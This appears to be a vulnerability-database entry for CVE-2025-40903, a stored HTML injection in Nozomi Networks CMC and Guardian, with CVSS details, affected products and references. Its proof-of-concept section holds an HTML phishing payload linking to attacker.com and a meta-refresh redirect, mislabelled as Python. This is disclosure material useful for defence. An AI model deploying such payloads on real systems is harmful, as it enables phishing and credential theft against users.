CVE-2025-40903

Description

A Stored HTML Injection vulnerability was discovered in the Schedule Restore Archive functionality due to improper validation of an input parameter. An authenticated user with administrative privileges can define a malicious restore schedule containing HTML tags. When a victim views the affected schedule, the injected HTML renders in their browser, enabling phishing and possibly open redirect attacks. Full XSS exploitation and direct information disclosure are prevented by the existing input validation and Content Security Policy configuration.

CVSS Details

CVSS Score

5.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:nozominetworks:cmc:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:a:nozominetworks:guardian:*:*:*:*:*:*:*:* - VULNERABLE

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Stored HTML Injection PoC for CVE-2025-40903 -->
<!-- Payload: Phishing Link Injection -->
<div style="background-color:#f8d7da;color:#721c24;padding:10px;border:1px solid #f5c6cb;">
  <strong>System Alert:</strong> Your session is about to expire.
  <br>
  <a href="http://attacker.com/steal-credentials" style="color:white;background:#d9534f;padding:5px 10px;text-decoration:none;border-radius:3px;">Click here to renew</a>
</div>

<!-- Payload: Open Redirect via Meta Tag -->
<!-- <meta http-equiv="refresh" content="0; url=http://attacker.com"> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-40903
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-40903
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-40903/
[4] VulDB https://vuldb.com/cve/CVE-2025-40903
[5] https://security.nozominetworks.com/NN-2026:6-01

Raw JSON Data

JSON

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